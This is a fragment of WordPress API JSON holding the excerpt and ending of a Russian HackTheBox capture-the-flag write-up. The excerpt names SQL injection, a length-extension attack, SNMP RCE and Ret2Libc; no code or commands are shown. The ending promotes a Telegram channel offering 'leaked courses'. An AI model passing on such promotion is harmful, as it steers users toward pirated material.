src=\"https:\/\/habrastorage.org\/webt\/i_\/px\/_w\/i_px_wg9y6n7ets2if8grvjjana.png\"><\/p>\n<p>  \u0418 \u043c\u044b \u0441 \u043f\u043e\u043b\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438.<\/p>\n<p>  \u0412\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0440\u0438\u0441\u043e\u0435\u0434\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u043a \u043d\u0430\u043c \u0432 <a href=\"https:\/\/t.me\/RalfHackerChannel\" rel=\"nofollow\">Telegram<\/a>. \u0422\u0430\u043c \u043c\u043e\u0436\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u043d\u0430\u0439\u0442\u0438 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b, \u0441\u043b\u0438\u0442\u044b\u0435 \u043a\u0443\u0440\u0441\u044b, \u0430 \u0442\u0430\u043a\u0436\u0435 \u041f\u041e. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0441\u043e\u0431\u0435\u0440\u0435\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0431\u0443\u0434\u0443\u0442 \u043b\u044e\u0434\u0438, \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u0441\u0444\u0435\u0440\u0430\u0445 \u0418\u0422, \u0442\u043e\u0433\u0434\u0430 \u043c\u044b \u0432\u0441\u0435\u0433\u0434\u0430 \u0441\u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043c\u043e\u0447\u044c \u0434\u0440\u0443\u0433 \u0434\u0440\u0443\u0433\u0443 \u043f\u043e \u043b\u044e\u0431\u044b\u043c \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c \u0418\u0422 \u0438 \u0418\u0411.<\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/post\/527998\/\"> https:\/\/habr.com\/ru\/post\/527998\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\">\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/-t\/2p\/d_\/-t2pd_zcieqroaenkd60addoadc.png\"><\/div>\n<p>  \u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e \u0440\u0435\u0448\u0435\u043d\u0438\u0439, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0434\u043e\u0440\u0435\u0448\u0438\u0432\u0430\u043d\u0438\u0435 \u043c\u0430\u0448\u0438\u043d \u0441 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0438 <a href=\"https:\/\/www.hackthebox.eu\" rel=\"nofollow\">HackTheBox<\/a>. <\/p>\n<p>  \u0412 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u0435\u043a\u0440\u0435\u0442 Flask \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e SQL \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438, \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043c \u043a\u0440\u0438\u043f\u0442\u043e\u0430\u0442\u0430\u043a\u0443 \u0443\u0434\u043b\u0438\u043d\u0435\u043d\u0438\u044f \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c RCE \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e SNMP, \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Ret2Libc \u0430\u0442\u0430\u043a\u0438.<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f<\/b>                         <\/p>\n<div class=\"spoiler_text\">\u0427\u0442\u043e\u0431\u044b \u0432\u044b \u043c\u043e\u0433\u043b\u0438 \u0443\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u043e \u043d\u043e\u0432\u044b\u0445 \u0441\u0442\u0430\u0442\u044c\u044f\u0445, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0438 \u0434\u0440\u0443\u0433\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u044f \u0441\u043e\u0437\u0434\u0430\u043b <a href=\"https:\/\/t.me\/RalfHackerChannel\" rel=\"nofollow\">\u043a\u0430\u043d\u0430\u043b \u0432 Telegram<\/a> \u0438 <a href=\"https:\/\/t.me\/RalfHackerPublicChat\" rel=\"nofollow\">\u0433\u0440\u0443\u043f\u043f\u0443 \u0434\u043b\u044f \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u043b\u044e\u0431\u044b\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432<\/a> \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0418\u0438\u041a\u0411. \u0422\u0430\u043a\u0436\u0435 \u0432\u0430\u0448\u0438 \u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u043e\u0441\u044c\u0431\u044b, \u0432\u043e\u043f\u0440\u043e\u0441\u044b, \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 <a href=\"https:\/\/t.me\/hackerralf8\" rel=\"nofollow\">\u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u044e \u043b\u0438\u0447\u043d\u043e \u0438 \u043e\u0442\u0432\u0435\u0447\u0443 \u0432\u0441\u0435\u043c<\/a>.  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-313150","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/313150","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=313150"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/313150\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=313150"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=313150"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=313150"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}